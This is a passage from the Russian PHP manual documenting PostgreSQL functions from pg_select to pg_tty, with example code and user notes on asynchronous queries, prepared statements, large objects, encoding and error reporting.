Одна из констант PGSQL_CONV_FORCE_NULL, PGSQL_DML_NO_CONV, PGSQL_DML_ESCAPE, PGSQL_DML_EXEC, PGSQL_DML_ASYNC, PGSQL_DML_STRING или их комбинация. Если flags содержит PGSQL_DML_STRING, функция вернёт строку. Если установлены PGSQL_DML_NO_CONV или PGSQL_DML_ESCAPE, то функция pg_convert() внутренне не вызывается.

mode

Одна из констант PGSQL_ASSOC, PGSQL_NUM или PGSQL_BOTH. Если установлено значение PGSQL_ASSOC, возвращаемое значение будет ассоциативным массивом (array), при PGSQL_NUM возвращаемое значение будет массивом (array), а при PGSQL_BOTH возвращаемое значение будет и ассоциативным и числовым индексированным массивом (array).

Возвращаемые значения

Возвращает строку (string), если flags содержит PGSQL_DML_STRING, в противном случае в случае успешного выполнения функция возвращает массив (array) или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр connection теперь ожидает экземпляр PgSql\Connection; ранее ожидался ресурс (resource).
7.1.0 | Добавлен параметр mode.

Примеры

Пример #1 Пример использования pg_select()

<?php
$db = pg_connect('dbname=foo');
// Это безопасно в некоторой степени, поскольку все значения экранируются.
// Однако PostgreSQL поддерживает JSON/массив. Для этих значений это не безопасно
// ни с через экранирование, ни с помощью подготовленного запроса.
$rec = pg_select($db, 'post_log', $_POST);
if ($rec) {
echo "Records selected\n";
var_dump($rec);
} else {
echo "Должно быть переданы неверные данные\n";
}
?>

Смотрите также

  • pg_convert() - Преобразует значения ассоциативного массива в приемлемые для использования в SQL-запросах

User Contributed Notes

wietse at cj2 dot nl 27-Feb-2006 08:20
David mentioned that you can't do a Select all.
However, when executing this script:
<?php
    $conn_string = "dbname=mydb";
    $db = pg_connect($conn_string);
    $selectfields = array("imgid" => "");
    $records = pg_select($db,"mmsfiles",$selectfields);
    print_r($records);
?>
...I get this result:
Array
(
    [0] => Array
        (
            [imgid] => 1
            [file] => /home/wietse/public_html/mms/images/1.gif
            [thumb] =>
        )
    [1] => Array
        (
            [imgid] => 2
            [file] => /home/wietse/public_html/mms/images/2.gif
            [thumb] =>
        )
    [2] => Array
        (
            [imgid] => 3
            [file] => /home/wietse/public_html/mms/images/3.gif
            [thumb] =>
        )
    [3] => Array
        (
            [imgid] => 4
            [file] => /home/wietse/public_html/mms/images/4.gif
            [thumb] =>
        )
)
david dot tulloh at infaze dot com dot au 16-May-2005 09:46
Valid options are PGSQL_DML_NO_CONV, PGSQL_DML_EXEC, PGSQL_DMP_ASYNC, PGSQL_DML_STRING (pulled out of source code).

This function does not support selecting from multiple tables.  You can get around this by setting the PGSQL_DML_NO_CONV option.  This prevents the error which occurs when the function tries to convert the condition array.

I think it is also important to point out that the table_name field is not safe, particularily with the PGSQL_DML_NO_CONV option.

The arguements array field is compulsory, as documented.  What isn't so clear is that the array has to actually have some values in it, you can't do a select all.

In summary, this function is good for a very small subset of basic queries.  If you are after anything more complex you are better off with pg_query.


Запускает предварительно подготовленный SQL-запрос и передаёт ему параметры; не ожидает возвращаемого результата

  • « pg_select
  • pg_send_prepare »
  • PHP Manual
  • Функции PostgreSQL
  • Запускает предварительно подготовленный SQL-запрос и передаёт ему параметры; не ожидает возвращаемого результата

pg_send_execute

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

pg_send_execute — Запускает предварительно подготовленный SQL-запрос и передаёт ему параметры; не ожидает возвращаемого результата

Описание

pg_send_execute(PgSql\Connection $connection, string $statement_name, array $params): int|bool

Запускает предварительно подготовленный SQL-запрос и передаёт ему параметры; не ожидает возвращаемого результата.

Работает аналогично функции pg_send_query_params(), только вместо строки с запросом принимает имя предварительно подготовленного SQL-запроса. Аргументы функции обрабатываются так же, как и в функции pg_execute(). Как и pg_execute() эта функция не будет работать на соединениях с серверами PostgreSQL версий ниже 7.4.

Список параметров

connection

Экземпляр PgSql\Connection.

statement_name

Имя подготовленного к исполнению запроса. Если передана пустая строка "", будет выполнен безымянный запрос. Имя и содержимое запроса должны быть подготовлены функцией pg_prepare(), pg_send_prepare() либо с помощью SQL-команды PREPARE.

params

Массив значений параметров запроса для замены псевдопеременных $1, $2 и т.д. в исходной строке запроса. Количество элементов массива должно точно совпадать с количеством псевдопеременных.

Возвращаемые значения

Возвращает true в случае успешного выполнения, false или 0 в случае возникновения ошибки. Для получения результата запроса используйте функцию pg_get_result().

Список изменений

Версия | Описание
8.1.0 | Параметр connection теперь ожидает экземпляр PgSql\Connection; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования pg_send_execute()

<?php
$dbconn = pg_connect("dbname=publisher") or die("Could not connect");

// Подготовка запроса
if (!pg_connection_busy($dbconn)) {
pg_send_prepare($dbconn, "my_query", 'SELECT * FROM shops WHERE name = $1');
$res1 = pg_get_result($dbconn);
}

// Запуск запроса на выполнение. Стоит отметить, что нет необходимости экранировать
// спецсимволы в строке "Joe's Widgets"
if (!pg_connection_busy($dbconn)) {
pg_send_execute($dbconn, "my_query", array("Joe's Widgets"));
$res2 = pg_get_result($dbconn);
}

// Запуск на выполнение того же запроса, но с другим параметром
if (!pg_connection_busy($dbconn)) {
pg_send_execute($dbconn, "my_query", array("Clothes Clothes Clothes"));
$res3 = pg_get_result($dbconn);
}

?>

Смотрите также

  • pg_prepare() - Посылает запрос на создание параметризованного SQL выражения и ждёт его завершения
  • pg_send_prepare() - Посылает запрос на создание параметризованного SQL-выражения, не дожидаясь его завершения
  • pg_execute() - Запускает выполнение ранее подготовленного параметризованного запроса и ждёт результат

User Contributed Notes

There are no user contributed notes for this page.


Посылает запрос на создание параметризованного SQL-выражения, не дожидаясь его завершения

  • « pg_send_execute
  • pg_send_query_params »
  • PHP Manual
  • Функции PostgreSQL
  • Посылает запрос на создание параметризованного SQL-выражения, не дожидаясь его завершения

pg_send_prepare

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

pg_send_prepare — Посылает запрос на создание параметризованного SQL-выражения, не дожидаясь его завершения

Описание

pg_send_prepare(PgSql\Connection $connection, string $statement_name, string $query): int|bool

Посылает запрос на создание параметризованного SQL выражения и не ждёт его завершения.

Это асинхронная версия функции pg_prepare(): она возвращает true, если удалось отправить запрос, false в противном случае. После успешной отправки, воспользуйтесь функцией pg_get_result(), чтобы узнать, создалось ли требуемое SQL выражение. Аргументы функции обрабатываются так же, как в pg_prepare(). Функция не будет работать с серверами PostgreSQL версий ниже 7.4.

Список параметров

connection

Экземпляр PgSql\Connection.

statement_name

Имя создаваемой заготовки. Должно быть уникальным в пределах сессии. Если задана пустая строка, будет создано безымянное SQL выражение. При этом оно перезапишет уже существующее безымянное выражение, определённое ранее.

query

Параметризованный SQL запрос. Должен содержать только одно выражение (несколько выражений разделённых точкой с запятой не поддерживаются). Если в запрос будут передаваться параметры, то они заменят псевдопеременные $1, $2 и т.д.

Возвращаемые значения

Возвращает true в случае успешного выполнения, false или 0 в случае возникновения ошибки. Для получения результата запроса используйте функцию pg_get_result().

Список изменений

Версия | Описание
8.1.0 | Параметр connection теперь ожидает экземпляр PgSql\Connection; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования pg_send_prepare()

<?php
$dbconn = pg_connect("dbname=publisher") or die("Could not connect");

// Подготовка запроса
if (!pg_connection_busy($dbconn)) {
pg_send_prepare($dbconn, "my_query", 'SELECT * FROM shops WHERE name = $1');
$res1 = pg_get_result($dbconn);
}

// Запуск запроса на выполнение. Стоит отметить, что нет необходимости экранировать
// спецсимволы в строке "Joe's Widgets"
if (!pg_connection_busy($dbconn)) {
pg_send_execute($dbconn, "my_query", array("Joe's Widgets"));
$res2 = pg_get_result($dbconn);
}

// Запуск на выполнение того же запроса, но с другим параметром
if (!pg_connection_busy($dbconn)) {
pg_send_execute($dbconn, "my_query", array("Clothes Clothes Clothes"));
$res3 = pg_get_result($dbconn);
}

?>

Смотрите также

  • pg_connect() - Открывает соединение с базой данных PostgreSQL
  • pg_pconnect() - Открывает постоянное соединение с сервером PostgreSQL
  • pg_execute() - Запускает выполнение ранее подготовленного параметризованного запроса и ждёт результат
  • pg_send_execute() - Запускает предварительно подготовленный SQL-запрос и передаёт ему параметры; не ожидает возвращаемого результата
  • pg_send_query_params() - Посылает параметризованный запрос на сервер, не ожидает возвращаемого результата

User Contributed Notes

There are no user contributed notes for this page.


Посылает параметризованный запрос на сервер, не ожидает возвращаемого результата

  • « pg_send_prepare
  • pg_send_query »
  • PHP Manual
  • Функции PostgreSQL
  • Посылает параметризованный запрос на сервер, не ожидает возвращаемого результата

pg_send_query_params

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

pg_send_query_params — Посылает параметризованный запрос на сервер, не ожидает возвращаемого результата

Описание

pg_send_query_params(PgSql\Connection $connection, string $query, array $params): int|bool

Отправляет параметризованный запрос на выполнение и не ждёт его завершения. Параметры передаются отдельно от текста SQL запроса.

Функция является аналогом pg_send_query() за одним исключением: параметры запроса можно передавать отдельно от строки запроса. Аргументы функции обрабатываются так же, как и в pg_query_params(). pg_send_query() поддерживается на соединениях с серверами PostgreSQL версий 7.4 и выше. Функция не будет работать с серверами ранних версий. Также она поддерживает только одну SQL-команду в выражении.

Список параметров

connection

Экземпляр PgSql\Connection.

query

Параметризованный SQL запрос. Должен содержать только одно выражение (несколько выражений разделённых точкой с запятой не поддерживаются). Если в запрос будут передаваться параметры, то они заменят псевдопеременные $1, $2 и т.д.

params

Массив значений параметров запроса для замены псевдопеременных $1, $2 и т.д. в исходной строке запроса. Количество элементов массива должно точно совпадать с количеством псевдопеременных.

Возвращаемые значения

Возвращает true в случае успешного выполнения, false или 0 в случае возникновения ошибки. Для получения результата запроса используйте функцию pg_get_result().

Список изменений

Версия | Описание
8.1.0 | Параметр connection теперь ожидает экземпляр PgSql\Connection; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования pg_send_query_params()

<?php
$dbconn = pg_connect("dbname=publisher") or die("Не удалось подключиться");

// Использование параметров. Стоит заметить, что нет необходимости
// заключать в кавычки и экранировать параметр.
pg_send_query_params($dbconn, 'select count(*) from authors where city = $1', array('Perth'));

// В сравнении с pg_send_query
$str = pg_escape_string('Perth');
pg_send_query($dbconn, "select count(*) from authors where city = '${str}'");
?>

Смотрите также

  • pg_send_query() - Отправляет асинхронный запрос

User Contributed Notes

There are no user contributed notes for this page.


Отправляет асинхронный запрос

  • « pg_send_query_params
  • pg_set_client_encoding »
  • PHP Manual
  • Функции PostgreSQL
  • Отправляет асинхронный запрос

pg_send_query

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_send_query — Отправляет асинхронный запрос

Описание

pg_send_query(PgSql\Connection $connection, string $query): int|bool

pg_send_query() отправляет на выполнение асинхронный запрос. В отличие от pg_query() запрос может содержать несколько SQL-выражений, разделённых точкой с запятой. Для получения результата запроса используйте функцию pg_get_result().

Выполнение запроса не прерывает работу скрипта. Для определения занятости соединения (когда запрос ещё выполняется) используйте функцию pg_connection_busy(). Выполнение запроса можно прервать функцией pg_cancel_query().

Несмотря на то, что можно отправить несколько запросов за раз, их нельзя посылать, пока соединение занято. В противном случае, посланный запрос дождётся завершения предыдущего, сотрёт его результат и запустится сам. Таким образом вы потеряете данные результата предыдущего запроса.

Список параметров

connection

Экземпляр PgSql\Connection.

query

Одно или несколько SQL-выражений, разделённых точкой с запятой.

Спецсимволы в строке запроса должны быть экранированы.

Возвращаемые значения

Возвращает true в случае успешного выполнения, false или 0 в случае возникновения ошибки. Для получения результата запроса используйте функцию pg_get_result().

Список изменений

Версия | Описание
8.1.0 | Параметр connection теперь ожидает экземпляр PgSql\Connection; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования pg_send_query()

<?php
$dbconn = pg_connect("dbname=publisher") or die("Не удалось подключиться");

if (!pg_connection_busy($dbconn)) {
pg_send_query($dbconn, "select * from authors; select count(*) from authors;");
}

$res1 = pg_get_result($dbconn);
echo "Первый вызов pg_get_result(): $res1\n";
$rows1 = pg_num_rows($res1);
echo "$res1 содержит $rows1 записей\n\n";

$res2 = pg_get_result($dbconn);
echo "Второй вызов pg_get_result(): $res2\n";
$rows2 = pg_num_rows($res2);
echo "$res2 содержит $rows2 записей\n";
?>

Результат выполнения данного примера:

Первый вызов pg_get_result(): Resource id #3
Resource id #3 содержит 3 записей

Второй вызов pg_get_result(): Resource id #4
Resource id #4 содержит 1 записей

Смотрите также

  • pg_query() - Выполняет запрос
  • pg_cancel_query() - Остановка асинхронного запроса.
  • pg_get_result() - Получение результата асинхронного запроса
  • pg_connection_busy() - Проверяет, занято ли соединение в данный момент.

User Contributed Notes

moodsey211 at gmail dot com 13-Dec-2010 01:48
pg_send_query would not stop your script from executing but it would stop the script from exiting.

Example:

<?php
$con = pg_connect('dbname=payroll');
pg_send_query('SELECT process_payroll()'); // Where process_payroll is a super long process
?>

You would still need to wait for the query to finish before the any display would be sent to the browser. And surprisingly, unlike pg_query this script would not generate the Maximum execution time error.
rw burgholzer is name at deq dot virginia dot gov 30-Jul-2009 09:36
Regarding the failure to process them all now, then retrieve the results later, I found that all queries would return successfully if I added a further condition to your while loop in the "stack_query()" method.

By adding:
&& (pg_transaction_status($conn) === PGSQL_TRANSACTION_IDLE ) )

Every query executed with no errors.

<?php
$conn = pg_connect("dbname=dbname host=localhost user=psql ");
if ($conn === FALSE)
  exit("Can't connect to db");

$q = array();
// send some queries
foreach (range(0, 50) as $i)
  stack_query($q, $conn, "SELECT 'query $i' AS str;");
// receive them
while (true)
  {
    $left = stack_query($q, $conn);
    echo "$left left... ";
    $result = pg_get_result($conn);
    if ($left == 0 && $result === FALSE)
      break;
    $row = pg_fetch_assoc($result);
    // depending on race conditions, you wont get all your original queries here.
    echo "got $row[str]\n";
  }

function stack_query(&$queries, $conn, $sql = FALSE)
{
  if ($sql !== FALSE)
    $queries[] = $sql;
  while (count($queries) && !pg_connection_busy($conn)  && (pg_transaction_status($conn) === PGSQL_TRANSACTION_IDLE ) )
    pg_send_query($conn, array_shift($queries));
  return count($queries) + (pg_connection_busy($conn) ? 1 : 0);
}
?>
vincentdephily 29-Nov-2005 05:25
Note that if you send a query without calling pg_get_result() for the previous one (supposing it has finished and the connection is not busy), the previous query will get discarded.

See for yourself (tested on php4.4.0, postgres8.0.4, Linux/FreeBSD) :
<?
$conn = pg_connect("dbname=template1 host=localhost user=pgsql");
if ($conn === FALSE)
  exit("Can't connect to db");

$q = array();
// send some queries
foreach (range(0, 500) as $i)
  stack_query($q, $conn, "SELECT 'query $i' AS str;");
// receive them
while (true)
  {
    $left = stack_query($q, $conn);
    echo "$left left... ";
    $result = pg_get_result($conn);
    if ($left == 0 && $result === FALSE)
      break;
    $row = pg_fetch_assoc($result);
    // depending on race conditions, you wont get all your original queries here.
    echo "got $row[str]\n";
  }

function stack_query(&$queries, $conn, $sql = FALSE)
{
  if ($sql !== FALSE)
    $queries[] = $sql;
  while (count($queries) && !pg_connection_busy($conn))
    pg_send_query($conn, array_shift($queries));
  return count($queries) + (pg_connection_busy($conn) ? 1 : 0);
}
?>

You will have to write a higher level of abstraction if you want a "send all queries now, receive them later" behaviour.
Likeyouover others at hotmail dot com 02-Sep-2003 02:29
<?php
// --------- OPEN CONN ---

   $conn = pg_connect("host='127.0.0.1' dbname='test' user='usertest' password='passtest'");

// --------- OPEN FILE ---

   $fp = fopen('logo.gif', "r");
   $buffer = fread($fp, filesize('logo.gif'));
   fclose($fp);

// --------- CREATE - INSERT OID ---

   pg_exec($conn, "begin");

   $oid = pg_locreate($conn);

   $rs = pg_exec($conn,"INSERT INTO test(tipo, images) VALUES('A1', $oid);");
   $handle = pg_loopen ($conn, $oid, "w");

   pg_lowrite ($handle, $buffer);
   pg_loclose ($handle);

   pg_exec($conn, "commit");

// --------- OPEN - INSERT OID ---

   $rs = pg_exec($conn, "SELECT images FROM test WHERE tipo = 'A1';");
   $row = pg_fetch_row($rs, 0);

   pg_exec($conn, "begin");
   $loid = pg_loopen($conn, $row[0], "r");

   header("Content-type: image/gif");

   pg_loreadall($loid);
   pg_loclose($loid);

   pg_exec ($conn, "commit");

// --------- UNLINK OID ---

   pg_exec($conn, "begin");

   $loid = $row[0];
   pg_lounlink($conn, $loid);

   pg_exec ($conn, "commit");

// --------- DELETE OID ---

   pg_exec($conn, "DELETE FROM test WHERE tipo = 'A1';");

// --------- CLOSE CONN ---

   pg_close();
?>
Mikewithme at yahoo dot com 02-Sep-2003 02:28
Due to a bug, OLD API does not available with PHP 4.2.0 and 4.2.1.

PHP 4.2.2 will support OLD API again and will be kept long enough.

New API will be available PHP 4.2.0 to later versions.
yohgaki at php dot net
19-Jun-2002 04:00
Due to a bug, PHP 4.2.0 and 4.2.1 does not support pg_lo_import() old API. It's fixed in PHP 4.2.2.

BTW, new API will be always available from PHP 4.2.0 to later versions. Older API will be kept long enough, also.
ceco at noxis dot net
15-May-2002 09:08
it works for me (php-4.2.1)

not like this

int pg_lo_import ( string pathname [, resource connection])

but
int pg_lo_import ( resource connection, string pathname )

don't know the reason
Ron Howard 04-Jan-2003 07:20
If there is an error in one of your queries, the queries following it will not get executed, and there will *not* be an error message displayed. The only way I can think of to determine if an SQL error happened is to use pg_trace.

Example:

pg_send_query($connection,
    "SELECT id FROM users;
    SELECT * FROM customers;
     [INVALID-SQL-STATEMENT];
    SELECT name FROM countries;");

while ($result = pg_get_result($connection))
    $results[] = $result;

The $results array will only have two items in it.


Устанавливает клиентскую кодировку

  • « pg_send_query
  • pg_set_error_context_visibility »
  • PHP Manual
  • Функции PostgreSQL
  • Устанавливает клиентскую кодировку

pg_set_client_encoding

(PHP 4 >= 4.0.3, PHP 5, PHP 7, PHP 8)

pg_set_client_encoding — Устанавливает клиентскую кодировку

Описание

pg_set_client_encoding(PgSql\Connection $connection = ?, string $encoding): int

pg_set_client_encoding() устанавливает клиентскую кодировку и возвращает 0 в случае успешного выполнения, -1 в случае возникновения ошибки.

PostgreSQL автоматически конвертирует данные из кодировки базы данных в кодировку клиентского приложения.

Замечание:

Прежнее название функции: pg_setclientencoding().

Список параметров

connection

Экземпляр PgSql\Connection. Если connection не указано, используется соединение по умолчанию. Соединение по умолчанию — это последнее соединение, выполненное с помощью функций pg_connect() или pg_pconnect().

Внимание

Начиная с версии PHP 8.1.0, использование соединения по умолчанию устарело.

encoding

Требуемая клиентская кодировка. Список возможных значений: SQL_ASCII, EUC_JP, EUC_CN, EUC_KR, EUC_TW, UNICODE, MULE_INTERNAL, LATINX (X=1...9), KOI8, WIN, ALT, SJIS, BIG5 or WIN1250.

Список доступных кодировок зависит от версии PostgreSQL. Смотрите документацию к вашей версии сервера.

Возвращаемые значения

Возвращает 0 в случае успешного выполнения, либо -1 в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр connection теперь ожидает экземпляр PgSql\Connection; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования pg_set_client_encoding()

<?php

$conn = pg_pconnect("dbname=publisher");
if (!$conn) {
echo "Произошла ошибка.\n";
exit;
}

// Установка кодировки в UNICODE. Данные будут автоматически
// преобразованы из кодировки в базе данных к клиентской.
pg_set_client_encoding($conn, "UNICODE");

$result = pg_query($conn, "SELECT author, email FROM authors");
if (!$result) {
echo "Произошла ошибка.\n";
exit;
}

// Выводим UTF-8 данные
while ($row = pg_fetch_row($result)) {
echo "Author: $row[0] E-mail: $row[1]";
echo "<br />\n";
}

?>

Смотрите также

  • pg_client_encoding() - Получение кодировки клиента.

User Contributed Notes

13-Jul-2001 08:19
pg_query($connection, "set client_encoding to '$encoding'") can be used instead.


Determines the visibility of the context's error messages returned by pg_last_error and pg_result_error

  • « pg_set_client_encoding
  • pg_set_error_verbosity »
  • PHP Manual
  • Функции PostgreSQL
  • Determines the visibility of the context's error messages returned by pg_last_error and pg_result_error

pg_set_error_context_visibility

(PHP 8 >= 8.3.0)

pg_set_error_context_visibility — Determines the visibility of the context's error messages returned by pg_last_error() and pg_result_error()

Описание

pg_set_error_context_visibility(PgSql\Connection $connection, int $visibility): int

Determines the visibility of the context's error messages returned by pg_last_error() and pg_result_error()

Список параметров

connection

Экземпляр PgSql\Connection.

visibility

The required visibility: PGSQL_SHOW_CONTEXT_NEVER, PGSQL_SHOW_CONTEXT_ERRORS or PGSQL_SHOW_CONTEXT_ALWAYS.

Возвращаемые значения

The previous visibility level: PGSQL_SHOW_CONTEXT_NEVER, PGSQL_SHOW_CONTEXT_ERRORS or PGSQL_SHOW_CONTEXT_ALWAYS.

Примеры

Пример #1 pg_set_error_context_visibility() example

<?php
$dbconn = pg_connect("dbname=publisher") or die("Could not connect");

if (!pg_connection_busy($dbconn)) {
pg_send_query($dbconn, "select * from doesnotexist;");
}

pg_set_error_context_visibility($dbconn, PGSQL_SHOW_CONTEXT_ALWAYS);
$res1 = pg_get_result($dbconn);
echo pg_result_error($res1);
?>

Смотрите также

  • pg_last_error() - Получает сообщение о последней произошедшей ошибке на соединении с базой данных
  • pg_result_error() - Возвращает сообщение об ошибке, связанное с запросом результата

User Contributed Notes

There are no user contributed notes for this page.


Определяет объем текста сообщений, возвращаемых функциями pg_last_error и pg_result_error

  • « pg_set_error_context_visibility
  • pg_socket »
  • PHP Manual
  • Функции PostgreSQL
  • Определяет объем текста сообщений, возвращаемых функциями pg_last_error и pg_result_error

pg_set_error_verbosity

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

pg_set_error_verbosity — Определяет объем текста сообщений, возвращаемых функциями pg_last_error() и pg_result_error()

Описание

pg_set_error_verbosity(PgSql\Connection $connection = ?, int $verbosity): int

Определяет объем текста сообщений, возвращаемых функциями pg_last_error() и pg_result_error().

pg_set_error_verbosity() устанавливает режим, отвечающий за полноту сообщений об ошибках. В режиме PGSQL_ERRORS_TERSE сообщения будут содержать только важность ошибки, основной текст и место возникновения; эта информация обычно умещается в одну строку. В режиме по умолчанию PGSQL_ERRORS_DEFAULT в сообщения будут добавлены детали ошибки, подсказка или поля контекста (это может занять несколько строк). В режиме PGSQL_ERRORS_VERBOSE сообщения будут содержать все возможные поля. Изменение режима не затронет сообщения уже существующих ресурсов. Новый режим будет применяться только к вновь создаваемым.

Список параметров

connection

Экземпляр PgSql\Connection. Если connection не указано, используется соединение по умолчанию. Соединение по умолчанию — это последнее соединение, выполненное с помощью функций pg_connect() или pg_pconnect().

Внимание

Начиная с версии PHP 8.1.0, использование соединения по умолчанию устарело.

verbosity

Требуемый режим: PGSQL_ERRORS_TERSE, PGSQL_ERRORS_DEFAULT или PGSQL_ERRORS_VERBOSE.

Возвращаемые значения

Предыдущий режим действовавший до запуска функции: PGSQL_ERRORS_TERSE, PGSQL_ERRORS_DEFAULT или PGSQL_ERRORS_VERBOSE.

Список изменений

Версия | Описание
8.1.0 | Параметр connection теперь ожидает экземпляр PgSql\Connection; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования pg_set_error_verbosity()

<?php
$dbconn = pg_connect("dbname=publisher") or die("Could not connect");

if (!pg_connection_busy($dbconn)) {
pg_send_query($dbconn, "select * from doesnotexist;");
}

pg_set_error_verbosity($dbconn, PGSQL_ERRORS_VERBOSE);
$res1 = pg_get_result($dbconn);
echo pg_result_error($res1);
?>

Смотрите также

  • pg_last_error() - Получает сообщение о последней произошедшей ошибке на соединении с базой данных
  • pg_result_error() - Возвращает сообщение об ошибке, связанное с запросом результата

User Contributed Notes

There are no user contributed notes for this page.


Получить дескриптор только для чтения на сокет, лежащего в основе соединения PostgreSQL

  • « pg_set_error_verbosity
  • pg_trace »
  • PHP Manual
  • Функции PostgreSQL
  • Получить дескриптор только для чтения на сокет, лежащего в основе соединения PostgreSQL

pg_socket

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

pg_socket — Получить дескриптор только для чтения на сокет, лежащего в основе соединения PostgreSQL

Описание

pg_socket(PgSql\Connection $connection): resource|false

pg_socket() возвращает ресурс (resource) только для чтения, соответствующий сокету, лежащему в основе данного соединения PostgreSQL.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

connection

Экземпляр PgSql\Connection.

Возвращаемые значения

Ресурс сокета в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр connection теперь ожидает экземпляр PgSql\Connection; ранее ожидался ресурс (resource).

User Contributed Notes

There are no user contributed notes for this page.


Включает трассировку подключения PostgreSQL

  • « pg_socket
  • pg_transaction_status »
  • PHP Manual
  • Функции PostgreSQL
  • Включает трассировку подключения PostgreSQL

pg_trace

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

pg_trace — Включает трассировку подключения PostgreSQL

Описание

pg_trace(
string $filename,
string $mode = "w",
?PgSql\Connection $connection = null,
int $trace_mode = 0
): bool

pg_trace() включает трассировку соединения с PostgreSQL сервером во внешний файл. Чтобы понимать содержимое таких файлов, необходимо хорошо разбираться во внутреннем устройстве клиент-серверного взаимодействия.

Для тех, кто не обладает подобными навыками, трассировка всё же может оказаться полезной для поиска ошибок при отправке запросов на сервер. Например, можно выполнить команду grep '^To backend' trace.log и посмотреть, какие запросы реально отправлены на сервер. Дополнительную информацию можно почерпнуть из » документации PostgreSQL.

Список параметров

filename

Полный путь и имя файла для записи журнала трассировки. Аналогично fopen().

mode

Необязательный аргумент. Режим доступа к файлу. Аналогично fopen().

connection

Экземпляр PgSql\Connection. Если параметр connection указан null, используется соединение по умолчанию. Соединение по умолчанию — это последнее соединение, выполненное с помощью функций pg_connect() или pg_pconnect().

Внимание

Начиная с версии PHP 8.1.0, использование соединения по умолчанию устарело.

trace_mode

Необязательный режим трассировки со следующими константами: PGSQL_TRACE_SUPPRESS_TIMESTAMPS и PGSQL_TRACE_REGRESS_MODE.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.3.0 | Добавлен параметр trace_mode.
8.1.0 | Параметр connection теперь ожидает экземпляр PgSql\Connection; ранее ожидался ресурс (resource).
8.0.0 | connection теперь допускает значение null.

Примеры

Пример #1 Пример использования pg_trace()

<?php
$pgsql_conn = pg_connect("dbname=mark host=localhost");

if ($pgsql_conn) {
pg_trace('/tmp/trace.log', 'w', $pgsql_conn);
pg_query("SELECT 1");
pg_untrace($pgsql_conn);
// Теперь /tmp/trace.log будет хранить информацию о взаимодействии с сервером
} else {
print pg_last_error($pgsql_conn);
exit;
}
?>

Смотрите также

  • fopen() - Открывает файл или URL
  • pg_untrace() - Отключает трассировку соединения с PostgreSQL

User Contributed Notes

There are no user contributed notes for this page.


Возвращает текущее состояние транзакции на сервере

  • « pg_trace
  • pg_tty »
  • PHP Manual
  • Функции PostgreSQL
  • Возвращает текущее состояние транзакции на сервере

pg_transaction_status

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

pg_transaction_status — Возвращает текущее состояние транзакции на сервере

Описание

pg_transaction_status(PgSql\Connection $connection): int

Возвращает текущее состояние транзакции на сервере.

Предостережение

pg_transaction_status() выдаёт некорректный результат при работе с сервером PostgreSQL 7.3, на котором выключена опция autocommit. Автоматическое завершение транзакций на стороне сервера устарело и не используется в более поздних версиях.

Список параметров

connection

Экземпляр PgSql\Connection.

Возвращаемые значения

Список возможных состояний: PGSQL_TRANSACTION_IDLE (сервер бездействует), PGSQL_TRANSACTION_ACTIVE (выполняется запрос), PGSQL_TRANSACTION_INTRANS (сервер бездействует, работа в режиме транзакции), или PGSQL_TRANSACTION_INERROR (сервер бездействует, транзакция потерпела неудачу). PGSQL_TRANSACTION_UNKNOWN - ошибка подключения. PGSQL_TRANSACTION_ACTIVE возвращается только когда запрос уже отправлен на сервер, но ещё не обработан.

Список изменений

Версия | Описание
8.1.0 | Параметр connection теперь ожидает экземпляр PgSql\Connection; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования pg_transaction_status()

<?php
$dbconn = pg_connect("dbname=publisher") or die("Подключиться не удалось");
$stat = pg_transaction_status($dbconn);
if ($stat === PGSQL_TRANSACTION_UNKNOWN) {
echo 'Соединение не удалось';
} else if ($stat === PGSQL_TRANSACTION_IDLE) {
echo 'Соединение свободно и простаивает';
} else {
echo 'Соединение в режиме транзакции';
}
?>

User Contributed Notes

r dot grellmann at agentmulder dot de 23-Oct-2021 02:17
After one of the asynchronous functions (pg_send_query(), pg_send_query_params()...) has been used, pg_transaction_status() will always report PGSQL_TRANSACTION_ACTIVE, no matter if a transaction was started or not.
Even after the first call (or all valid calls) to pg_get_result() the transaction status will stay PGSQL_TRANSACTION_ACTIVE, until either
- a synchronous function like pq_query() was used, or
- another call to pg_get_result() was made, which returns false.
Note: calling pg_free_result() does not change anything.

<?php
  $conn = pg_connect("dbname=publisher") or die("Could not connect");
  $status = pg_transaction_status($conn); // PGSQL_TRANSACTION_IDLE
  pg_send_query($conn, 'SELECT 1');
  $status = pg_transaction_status($conn); // PGSQL_TRANSACTION_ACTIVE
  $res = pg_get_result($conn);
  $status = pg_transaction_status($conn); // PGSQL_TRANSACTION_ACTIVE
  $res = pg_get_result($conn); // false
  $status = pg_transaction_status($conn); // PGSQL_TRANSACTION_IDLE
?>
btherl at yahoo dot com dot au 17-Jul-2006 07:27
This function is implemented in C, so there's no way to mimic it in SQL for older versions of PHP.  But you can mimic some of the functionality by using a wrapper which keeps track of when you begin and commit/rollback transactions.


Возвращает имя терминала TTY, связанное с соединением

  • « pg_transaction_status
  • pg_unescape_bytea »
  • PHP Manual
  • Функции PostgreSQL
  • Возвращает имя терминала TTY, связанное с соединением

pg_tty

(PHP 4, PHP 5, PHP 7, PHP 8)

pg_tty — Возвращает имя терминала TTY, связанное с соединением

Описание

pg_tty(?PgSql\Connection $connection = null): string

pg_tty() возвращает имя терминала, связанного с экземпляром connection, на который выводится отладочная информация.

Замечание:

pg_tty() устарела, но оставлена для обратной совместимости.

Список параметров

connection

